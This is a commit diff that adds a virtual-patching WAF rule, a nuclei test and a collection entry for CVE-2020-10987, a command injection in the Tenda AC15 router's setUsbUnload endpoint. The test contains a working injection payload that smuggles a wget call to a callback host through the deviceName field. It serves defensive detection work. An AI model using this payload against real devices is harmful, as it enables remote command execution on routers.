Add vpatch-CVE-2020-10987 rule and test (#1588)

* Add vpatch-CVE-2020-10987 rule

* Add vpatch-CVE-2020-10987 test config

* Add CVE-2020-10987.yaml test

* Add vpatch-CVE-2020-10987 rule to vpatch collection

* Update vpatch for CVE-2020-10987 with regex matching

---------

Co-authored-by: Thibault "bui" Koechlin <[email protected]>

Author: crowdsec-automation

.appsec-tests/vpatch-CVE-2020-10987/CVE-2020-10987.yaml

@@ -0,0 +1,22 @@
+## autogenerated on 2025-11-26 15:14:54
+id: CVE-2020-10987
+info:
+  name: CVE-2020-10987
+  author: crowdsec
+  severity: info
+  description: CVE-2020-10987 testing
+  tags: appsec-testing
+http:
+  - raw:
+      - |
+        POST /goform/setUsbUnload HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        Accept: */*
+
+        deviceName=test`;wget http://{{interactsh-url}};`
+    cookie-reuse: true
+    matchers:
+    - type: status
+      status:
+       - 403

.appsec-tests/vpatch-CVE-2020-10987/config.yaml

@@ -0,0 +1,5 @@
+## autogenerated on 2025-11-26 15:14:54
+appsec-rules:
+  - ./appsec-rules/crowdsecurity/base-config.yaml
+  - ./appsec-rules/crowdsecurity/vpatch-CVE-2020-10987.yaml
+nuclei_template: CVE-2020-10987.yaml

appsec-rules/crowdsecurity/vpatch-CVE-2020-10987.yaml

@@ -0,0 +1,34 @@
+## autogenerated on 2025-11-26 15:14:54
+name: crowdsecurity/vpatch-CVE-2020-10987
+description: 'Detects command injection in Tenda AC15 AC1900 via deviceName parameter in setUsbUnload endpoint.'
+rules:
+  - and:
+      - zones:
+          - URI
+        transform:
+          - lowercase
+        match:
+          type: contains
+          value: /goform/setusbunload
+      - zones:
+          - BODY_ARGS
+        variables:
+          - deviceName
+        transform:
+          - lowercase
+          - urldecode
+        match:
+          type: regex
+          value: '[^a-z0-9]'
+
+labels:
+  type: exploit
+  service: http
+  confidence: 3
+  spoofable: 0
+  behavior: 'http:exploit'
+  label: 'Tenda AC15 - RCE'
+  classification:
+    - cve.CVE-2020-10987
+    - attack.T1190
+    - cwe.CWE-78

collections/crowdsecurity/appsec-virtual-patching.yaml

@@ -138,6 +138,7 @@ appsec-rules:
 - crowdsecurity/vpatch-CVE-2020-8656
 - crowdsecurity/vpatch-CVE-2025-27222
 - crowdsecurity/vpatch-CVE-2025-64446
+- crowdsecurity/vpatch-CVE-2020-10987
 author: crowdsecurity
 contexts:
 - crowdsecurity/appsec_base